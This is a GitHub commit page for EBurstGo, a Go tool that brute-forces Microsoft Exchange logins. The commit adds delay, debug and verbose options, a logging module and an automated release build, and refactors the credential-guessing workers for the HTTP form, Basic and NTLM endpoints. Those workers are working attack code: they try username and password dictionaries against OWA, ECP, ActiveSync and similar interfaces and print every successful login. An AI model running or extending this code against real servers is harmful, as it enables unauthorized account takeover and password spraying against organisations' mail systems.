Skip to content

Commit

Permalink
feat: 增加 debug, verbose, delay 参数
Browse files Browse the repository at this point in the history
1. 增加 debug, verbose, delay 参数
2. 重构 HTTP/Basic/NTLM 爆破逻辑
3. 使用 GitHub Action + GoReleaser 自动化构建
  • Loading branch information
X1r0z committed Aug 7, 2023
1 parent 8c9dc76 commit 6b65b23
Show file tree
Hide file tree
Showing 13 changed files with 202 additions and 58 deletions.
45 changes: 45 additions & 0 deletions .github/conf/.goreleaser.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# This is an example .goreleaser.yml file with some sensible defaults.
# Make sure to check the documentation at https://goreleaser.com
before:
hooks:
# You may remove this if you don't use go modules.
- go mod tidy
# you may remove this if you don't need go generate
- go generate ./...
builds:
- env:
- CGO_ENABLED=0
goos:
- linux
- windows
- darwin

archives:
- format: tar.gz
# this name template makes the OS and Arch compatible with the results of uname.
name_template: >-
{{ .ProjectName }}_
{{- title .Os }}_
{{- if eq .Arch "amd64" }}x86_64
{{- else if eq .Arch "386" }}i386
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# use zip for windows archives
format_overrides:
- goos: windows
format: zip
checksum:
name_template: 'checksums.txt'
snapshot:
name_template: "{{ incpatch .Version }}-next"
changelog:
sort: asc
filters:
exclude:
- '^docs:'
- '^test:'

# The lines beneath this are called `modelines`. See `:help modeline`
# Feel free to remove those if you don't want/use them.
# yaml-language-server: $schema=https://goreleaser.com/static/schema.json
# vim: set ts=2 sw=2 tw=0 fo=cnqoj
35 changes: 35 additions & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
name: goreleaser

on:
push:
tags:
- '*'

permissions:
contents: write

jobs:
goreleaser:
runs-on: ubuntu-latest
timeout-minutes: 60
steps:
-
name: Checkout
uses: actions/checkout@v2
with:
fetch-depth: 0
-
name: Set up Go
uses: actions/setup-go@v2
with:
go-version: 1.19
-
name: Run GoReleaser
uses: goreleaser/goreleaser-action@v2
with:
distribution: goreleaser
version: latest
args: -f .github/conf/.goreleaser.yml
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
5 changes: 4 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
.DS_Store
.idea/
EBurstGo
EBurstGo
user.txt
pass.txt
dist/
20 changes: 14 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
/oab
/rpc
/Microsoft-Server-ActiveSync
/powershell # 后期支持
/powershell
```

## Usage
Expand All @@ -24,11 +24,15 @@ usage
```shell
Usage of ./EBurstGo:
-check
检查目标 Exchange 服务器可用接口
检查目标 Exchange 可用接口
-debug
显示 Debug 信息
-delay int
请求延时
-domain string
AD 域名
-mode string
指定 Exchange 服务器接口
指定 Exchange Web 接口
-pass string
密码字典
-thread int
Expand All @@ -37,6 +41,8 @@ Usage of ./EBurstGo:
Exchange 服务器地址
-user string
用户名字典
-verbose
显示详细信息
```

check
Expand Down Expand Up @@ -66,6 +72,8 @@ $ ./EBurstGo -url https://192.168.30.11 -domain hack-my.com -user users.txt -pas
[*] 耗时: 4.40084275s
```

协程数不建议开太大, 可能会漏报 (待解决?)

等后面有时间修一修 bug, 还有优化代码结构
已知 bug:
- 当协程数量过大时, 部分利用 NTLM 进行身份认证的接口可能出现漏报
- 在使用 ActiveSync 接口进行爆破时, 如果凭据正确, 服务器会在大约 20s 之后响应, 期间会阻塞当前协程 (不过好像是 ActiveSync 本身的特性)
- `/rpc``/oab` 接口存在问题, 待解决
- `/powershell` 接口 (Kerberos 认证) 待支持
7 changes: 5 additions & 2 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,11 @@ module EBurstGo
go 1.20

require (
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect
github.com/fatih/color v1.15.0 // indirect
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358
github.com/fatih/color v1.15.0
)

require (
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.17 // indirect
golang.org/x/crypto v0.12.0 // indirect
Expand Down
18 changes: 9 additions & 9 deletions lib/basicbrute.go
Original file line number Diff line number Diff line change
@@ -1,35 +1,35 @@
package lib

import (
"fmt"
"github.com/fatih/color"
"net/http"
"net/url"
"sync"
"time"
)

func BasicBruteWorker(u string, domain string, task chan []string) {
func BasicBruteWorker(u string, domain string, task chan []string, delay int) {

for data := range task {
username, password := data[0], data[1]
Log.Debug("[*] 尝试: %v:%v", username, password)
req, _ := http.NewRequest("GET", u, nil)
req.SetBasicAuth(domain+"\\"+username, password)
req.Header.Add("Connection", "close")
res, _ := Client.Do(req)
if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 {
color.Green("[+] 成功: %v", username+":"+password)
Log.Success("[+] 成功: %v", username+":"+password)
} else {
//color.Red("[-] 失败: %v", username+":"+password)
Log.Failed("[-] 失败: %v", username+":"+password)
}
time.Sleep(time.Second * time.Duration(delay))
}
}

func BasicBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int) {
func BasicBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
fmt.Println("[*] 使用", mode, "接口爆破:", targetUrl)
Log.Info("[*] 使用 %v 接口爆破: %v", mode, targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

Expand All @@ -49,12 +49,12 @@ func BasicBruteRun(targetUrl string, mode string, domain string, userDict []stri
wg.Add(1)
go func() {
defer wg.Done()
BasicBruteWorker(u, domain, task)
BasicBruteWorker(u, domain, task, delay)
}()
}

wg.Wait()

t2 := time.Now()
fmt.Println("[*] 耗时:", t2.Sub(t1))
Log.Info("[*] 耗时: %v", t2.Sub(t1))
}
5 changes: 2 additions & 3 deletions lib/check.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@ package lib

import (
"crypto/tls"
"github.com/fatih/color"
"net/http"
"net/url"
)
Expand All @@ -25,9 +24,9 @@ func Check(targetUrl string) {
panic(err)
}
if res.StatusCode != 404 && res.StatusCode != 403 && res.StatusCode != 301 && res.StatusCode != 302 {
color.Green("[+] 存在 %v 接口 (%v), 可以爆破", k, v)
Log.Success("[+] 存在 %s 接口 (%s), 可以爆破", k, v)
} else {
color.Red("[-] 不存在 %v 接口 (%v)", k, v)
Log.Failed("[-] 不存在 %s 接口 (%s)", k, v)
}
}
}
30 changes: 15 additions & 15 deletions lib/httpbrute.go
Original file line number Diff line number Diff line change
@@ -1,29 +1,28 @@
package lib

import (
"fmt"
"github.com/fatih/color"
"net/http"
"net/url"
"strings"
"sync"
"time"
)

func HttpBruteWorker(targetUrl string, mode string, u string, domain string, task chan []string) {
func HttpBruteWorker(targetUrl string, mode string, u string, domain string, task chan []string, delay int) {

var refurl string
var refUrl string
if mode == "owa" {
refurl, _ = url.JoinPath(targetUrl, "/owa/")
refUrl, _ = url.JoinPath(targetUrl, "/owa/")
} else {
refurl, _ = url.JoinPath(targetUrl, "/ecp/")
refUrl, _ = url.JoinPath(targetUrl, "/ecp/")
}
referer, _ := url.JoinPath(targetUrl, "/owa/auth/logon.aspx?replaceCurrent=1&url="+refurl)
referer, _ := url.JoinPath(targetUrl, "/owa/auth/logon.aspx?replaceCurrent=1&url="+refUrl)

for data := range task {
username, password := data[0], data[1]
Log.Debug("[*] 尝试: %v:%v", username, password)
form := url.Values{
"destination": {refurl},
"destination": {refUrl},
"flags": {"4"},
"forcedownlevel": {"0"},
"username": {domain + "\\" + username},
Expand All @@ -42,20 +41,21 @@ func HttpBruteWorker(targetUrl string, mode string, u string, domain string, tas
location := res.Header.Get("Location")

if location == "" {
//color.Red("[-] 失败: %v", username+":"+password)
Log.Failed("[-] 失败: %v", username+":"+password)
} else if !strings.Contains(location, "reason") {
color.Green("[+] 成功: %v", username+":"+password)
Log.Success("[+] 成功: %v", username+":"+password)
} else {
//color.Red("[-] 失败: %v", username+":"+password)
Log.Failed("[-] 失败: %v", username+":"+password)
}
time.Sleep(time.Second * time.Duration(delay))
}
}

func HttpBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int) {
func HttpBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
fmt.Println("[*] 使用", mode, "接口爆破:", targetUrl)
Log.Info("[*] 使用 %v 接口爆破: %v", mode, targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

Expand All @@ -75,12 +75,12 @@ func HttpBruteRun(targetUrl string, mode string, domain string, userDict []strin
wg.Add(1)
go func() {
defer wg.Done()
HttpBruteWorker(targetUrl, mode, u, domain, task)
HttpBruteWorker(targetUrl, mode, u, domain, task, delay)
}()
}

wg.Wait()

t2 := time.Now()
fmt.Println("[*] 耗时:", t2.Sub(t1))
Log.Info("[*] 耗时: %v", t2.Sub(t1))
}
6 changes: 4 additions & 2 deletions lib/kerberosbrute.go
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
package lib

func KerberosBruteWorker(u string, domain string, task chan []string) {
import "time"

func KerberosBruteWorker(u string, domain string, task chan []string, limiter <-chan time.Time) {

}

func KerberosBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int) {
func KerberosBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int) {

}
38 changes: 38 additions & 0 deletions lib/logging.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
package lib

import (
"github.com/fatih/color"
)

type Logging struct {
Verbose bool
IsDebug bool
}

func (logging *Logging) Success(format string, a ...interface{}) {
c := color.New(color.FgGreen).Add(color.Bold)
c.Printf(format, a...)
c.Print("\n")
}

func (logging *Logging) Failed(format string, a ...interface{}) {
if logging.Verbose {
c := color.New(color.FgRed).Add(color.Bold)
c.Printf(format, a...)
c.Print("\n")
}
}

func (logging *Logging) Info(format string, a ...interface{}) {
c := color.New(color.FgWhite).Add(color.Bold)
c.Printf(format, a...)
c.Print("\n")
}

func (logging *Logging) Debug(format string, a ...interface{}) {
if logging.IsDebug {
c := color.New(color.FgYellow).Add(color.Bold)
c.Printf(format, a...)
c.Print("\n")
}
}
Loading

0 comments on commit 6b65b23

Please sign in to comment.